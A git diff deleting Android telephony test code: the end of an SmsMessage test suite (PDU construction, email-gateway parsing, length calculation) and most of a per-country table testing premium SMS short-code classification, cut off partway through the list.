-            SmsMessage.getSubmitPdu(scAddress, destinationAddress, message, statusReportRequested);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException expected) {
-            // expected
-        }
-
-        message = "This is a test message";
-        try {
-            // non-null message
-            SmsMessage.getSubmitPdu(scAddress, destinationAddress, message, statusReportRequested);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException expected) {
-            // expected
-        }
-
-        if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
-            // TODO: temp workaround, OCTET encoding for EMS not properly supported
-            return;
-        }
-
-        scAddress = "1650253000";
-        destinationAddress = "18004664411";
-        message = "This is a test message";
-        statusReportRequested = false;
-        SmsMessage.SubmitPdu smsPdu =
-            SmsMessage.getSubmitPdu(scAddress, destinationAddress, message, statusReportRequested);
-        assertNotNull(smsPdu);
-
-        smsPdu = SmsMessage.getSubmitPdu(scAddress, destinationAddress, (short)80,
-                message.getBytes(), statusReportRequested);
-        assertNotNull(smsPdu);
-    }
-
-    public void testEmailGateway() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
-                || mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY_CDMA)) {
-            // TODO: temp workaround, need to adjust test to use CDMA pdus
-            return;
-        }
-
-        String pdu = "07914151551512f204038105f300007011103164638a28e6f71b50c687db" +
-                         "7076d9357eb7412f7a794e07cdeb6275794c07bde8e5391d247e93f3";
-
-        SmsMessage sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu),
-                SmsMessage.FORMAT_3GPP);
-        assertEquals(SCA4, sms.getServiceCenterAddress());
-        assertTrue(sms.isEmail());
-        assertEquals(EMAIL_ADD, sms.getEmailFrom());
-        assertEquals(EMAIL_ADD, sms.getDisplayOriginatingAddress());
-        assertEquals(PSEUDO_SUBJECT, sms.getPseudoSubject());
-
-        assertEquals(DISPLAY_MESSAGE_BODY, sms.getDisplayMessageBody());
-        assertEquals(DISPLAY_MESSAGE_BODY, sms.getEmailBody());
-
-        pdu = "07914151551512f204038105f400007011103105458a29e6f71b50c687db" +
-                        "7076d9357eb741af0d0a442fcfe9c23739bfe16d289bdee6b5f1813629";
-        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
-        assertEquals(SCA3, sms.getServiceCenterAddress());
-        assertTrue(sms.isEmail());
-        assertEquals(OA, sms.getDisplayOriginatingAddress());
-        assertEquals(EMAIL_FROM, sms.getEmailFrom());
-        assertEquals(DMB, sms.getDisplayMessageBody());
-        assertEquals(MB, sms.getEmailBody());
-    }
-
-    public void testCalculateLength() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        int[] result = SmsMessage.calculateLength(LONG_TEXT_WITH_32BIT_CHARS, false);
-        assertEquals(3, result[0]);
-        assertEquals(LONG_TEXT_WITH_32BIT_CHARS.length(), result[1]);
-        // 3 parts, each with (SmsMessage.MAX_USER_DATA_BYTES_WITH_HEADER / 2) 16-bit
-        // characters. We need to subtract one because a 32-bit character crosses the
-        // boundary of 2 parts.
-        int preMaxChars = 3 * SmsMessage.MAX_USER_DATA_BYTES_WITH_HEADER / 2 - 1;
-        // If EMS is not supported, break down EMS into single segment SMS
-        // and add page info "x/y".
-        // In the case of UCS2 encoding type, we need 8 bytes for this
-        // but we only have 6 bytes from UDH, so truncate the limit for
-        // each segment by 2 bytes (1 char). This log sms has three segments,
-        // so truncate the limit by 3 char in total
-        int maxChars = SmsMessage.hasEmsSupport() ? preMaxChars : preMaxChars - 3;
-        assertRemaining(LONG_TEXT_WITH_32BIT_CHARS.length(), result[2],
-                maxChars);
-        assertEquals(SmsMessage.ENCODING_16BIT, result[3]);
-    }
-
-    public void testCalculateLengthFlags() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-        int[] result = SmsMessage.calculateLength(LONG_TEXT_WITH_FLAGS, false);
-        assertEquals(2, result[0]);
-    }
-
-    private final static char[] HEX_DIGITS = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
-            'A', 'B', 'C', 'D', 'E', 'F' };
-
-    public static String toHexString(byte[] array) {
-        int length = array.length;
-        char[] buf = new char[length * 2];
-
-        int bufIndex = 0;
-        for (int i = 0 ; i < length; i++)
-        {
-            byte b = array[i];
-            buf[bufIndex++] = HEX_DIGITS[(b >>> 4) & 0x0F];
-            buf[bufIndex++] = HEX_DIGITS[b & 0x0F];
-        }
-
-        return new String(buf);
-    }
-
-    private static int toByte(char c) {
-        if (c >= '0' && c <= '9') return (c - '0');
-        if (c >= 'A' && c <= 'F') return (c - 'A' + 10);
-        if (c >= 'a' && c <= 'f') return (c - 'a' + 10);
-
-        throw new RuntimeException ("Invalid hex char '" + c + "'");
-    }
-
-    private static byte[] hexStringToByteArray(String hexString) {
-        int length = hexString.length();
-        byte[] buffer = new byte[length / 2];
-
-        for (int i = 0 ; i < length ; i += 2) {
-            buffer[i / 2] =
-                (byte)((toByte(hexString.charAt(i)) << 4) | toByte(hexString.charAt(i+1)));
-        }
-
-        return buffer;
-    }
-}
diff --git a/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java b/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
deleted file mode 100644
index fdf81de..0000000
--- a/tests/tests/telephony/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java
+++ /dev/null
@@ -1,516 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
-import com.android.internal.telephony.SmsUsageMonitor;
-
-import android.telephony.PhoneNumberUtils;
-
-/**
- * Test cases for SMS short code pattern matching in SmsUsageMonitor.
- */
-public class SmsUsageMonitorShortCodeTest extends InstrumentationTestCase {
-
-    private PackageManager mPackageManager;
-    private Context mContext;
-
-    /** Return value from {@link SmsUsageMonitor#checkDestination} for regular phone numbers. */
-    static final int CATEGORY_NOT_SHORT_CODE = 0;
-
-    /**
-     * Return value from {@link SmsUsageMonitor#checkDestination} for free (no cost)
-     * short codes.
-     */
-    static final int CATEGORY_FREE_SHORT_CODE = 1;
-
-    /**
-     * Return value from {@link SmsUsageMonitor#checkDestination} for standard rate (non-premium)
-     * short codes.
-     */
-    static final int CATEGORY_STANDARD_SHORT_CODE = 2;
-
-    /**
-     * Return value from {@link SmsUsageMonitor#checkDestination} for possible premium
-     * short codes.
-     */
-    static final int CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE = 3;
-
-    /** Return value from {@link SmsUsageMonitor#checkDestination} for premium short codes. */
-    static final int CATEGORY_PREMIUM_SHORT_CODE = 4;
-
-    private static final class ShortCodeTest {
-        final String countryIso;
-        final String address;
-        final int category;
-
-        ShortCodeTest(String countryIso, String destAddress, int category) {
-            this.countryIso = countryIso;
-            this.address = destAddress;
-            this.category = category;
-        }
-    }
-
-    /**
-     * List of short code test cases.
-     */
-    private static final ShortCodeTest[] sShortCodeTests = new ShortCodeTest[] {
-            new ShortCodeTest("al", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("al", "4321", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("al", "54321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("al", "15191", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("al", "55500", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("al", "55600", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("al", "654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("am", "112", expectedReturnCode("112")),
-            //new ShortCodeTest("am", "101", CATEGORY_FREE_SHORT_CODE),
-            //new ShortCodeTest("am", "102", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("am", "103", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("am", "222", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("am", "1111", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("am", "9999", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("am", "1121", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("am", "1141", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("am", "1161", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("am", "3024", CATEGORY_PREMIUM_SHORT_CODE),
-
-            new ShortCodeTest("at", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("at", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("at", "0901234", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("at", "0900666266", CATEGORY_PREMIUM_SHORT_CODE),
-
-            new ShortCodeTest("au", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("au", "180000", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("au", "190000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("au", "1900000", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("au", "19000000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("au", "19998882", CATEGORY_PREMIUM_SHORT_CODE),
-
-            new ShortCodeTest("az", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("az", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("az", "12345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("az", "87744", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("az", "3301", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("az", "3302", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("az", "9012", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("az", "9014", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("az", "9394", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("az", "87744", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("az", "93101", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("az", "123456", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("be", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("be", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("be", "567890", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("be", "8000", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("be", "6566", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("be", "7777", CATEGORY_PREMIUM_SHORT_CODE),
-
-            new ShortCodeTest("bg", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("bg", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("bg", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("bg", "12345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("bg", "1816", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("bg", "1915", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("bg", "1916", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("bg", "1935", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("bg", "18423", CATEGORY_PREMIUM_SHORT_CODE),
-
-            new ShortCodeTest("by", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("by", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("by", "3336", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("by", "5013", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("by", "5014", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("by", "7781", CATEGORY_PREMIUM_SHORT_CODE),
-
-            new ShortCodeTest("ca", "911", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("ca", "+18005551234", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("ca", "8005551234", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("ca", "20000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ca", "200000", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ca", "2000000", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("ca", "60999", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ca", "88188", CATEGORY_PREMIUM_SHORT_CODE),
-
-            new ShortCodeTest("ch", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("ch", "123", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("ch", "234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ch", "3456", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ch", "98765", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("ch", "543", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ch", "83111", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ch", "234567", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("ch", "87654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("cn", "120", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("cn", "1062503000", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("cn", "1065123456", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("cn", "1066335588", CATEGORY_PREMIUM_SHORT_CODE),
-
-            new ShortCodeTest("cy", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("cy", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("cy", "4321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("cy", "54321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("cy", "654321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("cy", "7510", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("cy", "987654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("cz", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("cz", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("cz", "9090150", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("cz", "90901599", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("cz", "987654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("de", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("de", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("de", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "12345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "8888", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "11111", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "11886", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "22022", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "23300", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "3434", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "34567", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "41414", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "55655", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "66766", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "66777", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "77677", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "80888", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "1232286", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("de", "987654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("dk", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("dk", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("dk", "1259", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("dk", "16123", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("dk", "987654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("ee", "112", expectedReturnCode("112")),
-            new ShortCodeTest("ee", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("ee", "123", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ee", "1259", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ee", "15330", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ee", "17999", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ee", "17010", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ee", "17013", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ee", "9034567", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ee", "34567890", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("es", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("es", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("es", "25165", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("es", "27333", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("es", "995399", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("es", "87654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("fi", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("fi", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("fi", "12345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("fi", "123456", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("fi", "17159", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("fi", "17163", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("fi", "0600123", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("fi", "070012345", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("fi", "987654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("fr", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("fr", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("fr", "34567", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("fr", "45678", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("fr", "81185", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("fr", "87654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("gb", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("gb", "999", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("gb", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("gb", "4567", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("gb", "45678", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("gb", "56789", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("gb", "79067", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("gb", "80079", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("gb", "654321", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("gb", "7654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("ge", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("ge", "8765", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ge", "2345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ge", "8012", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ge", "8013", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ge", "8014", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ge", "8889", CATEGORY_PREMIUM_SHORT_CODE),
-
-            new ShortCodeTest("gr", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("gr", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("gr", "54321", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("gr", "19567", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("gr", "19678", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("gr", "87654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("hu", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("hu", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("hu", "012", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("hu", "0123", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("hu", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("hu", "1784", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("hu", "2345", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("hu", "01234", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("hu", "012345678", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("hu", "0123456789", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("hu", "1234567890", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("hu", "0691227910", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("hu", "2345678901", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("hu", "01234567890", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("ie", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("ie", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("ie", "50123", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("ie", "51234", CATEGORY_STANDARD_SHORT_CODE),
-            new ShortCodeTest("ie", "52345", CATEGORY_STANDARD_SHORT_CODE),
-            new ShortCodeTest("ie", "57890", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ie", "67890", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("ie", "87654321", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("il", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("il", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("il", "4422", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("il", "4545", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("il", "98765", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("it", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("it", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("it", "4567", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("it", "48000", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("it", "45678", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("it", "56789", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("it", "456789", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("kg", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("kg", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("kg", "4152", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("kg", "4157", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("kg", "4449", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("kg", "98765", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("kz", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("kz", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("kz", "9194", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("kz", "7790", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("kz", "98765", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("lt", "112", expectedReturnCode("112")),
-            new ShortCodeTest("lt", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("lt", "123", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("lt", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("lt", "1381", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("lt", "1394", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("lt", "1645", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("lt", "12345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("lt", "123456", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("lu", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("lu", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("lu", "1234", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("lu", "12345", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("lu", "64747", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("lu", "678901", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("lv", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("lv", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("lv", "5432", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("lv", "1819", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("lv", "1863", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("lv", "1874", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("lv", "98765", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("mx", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("mx", "2345", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("mx", "7766", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("mx", "23456", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("mx", "53035", CATEGORY_PREMIUM_SHORT_CODE),
-
-            new ShortCodeTest("my", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("my", "1234", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("my", "23456", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("my", "32298", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("my", "33776", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("my", "345678", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("nl", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("nl", "116117", CATEGORY_FREE_SHORT_CODE),
-            new ShortCodeTest("nl", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("nl", "4466", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("nl", "5040", CATEGORY_PREMIUM_SHORT_CODE),
-            new ShortCodeTest("nl", "23456", CATEGORY_NOT_SHORT_CODE),
-
-            new ShortCodeTest("no", "112", CATEGORY_NOT_SHORT_CODE),
-            new ShortCodeTest("no", "1234", CATEGORY_POSSIBLE_PREMIUM_SHORT_CODE),
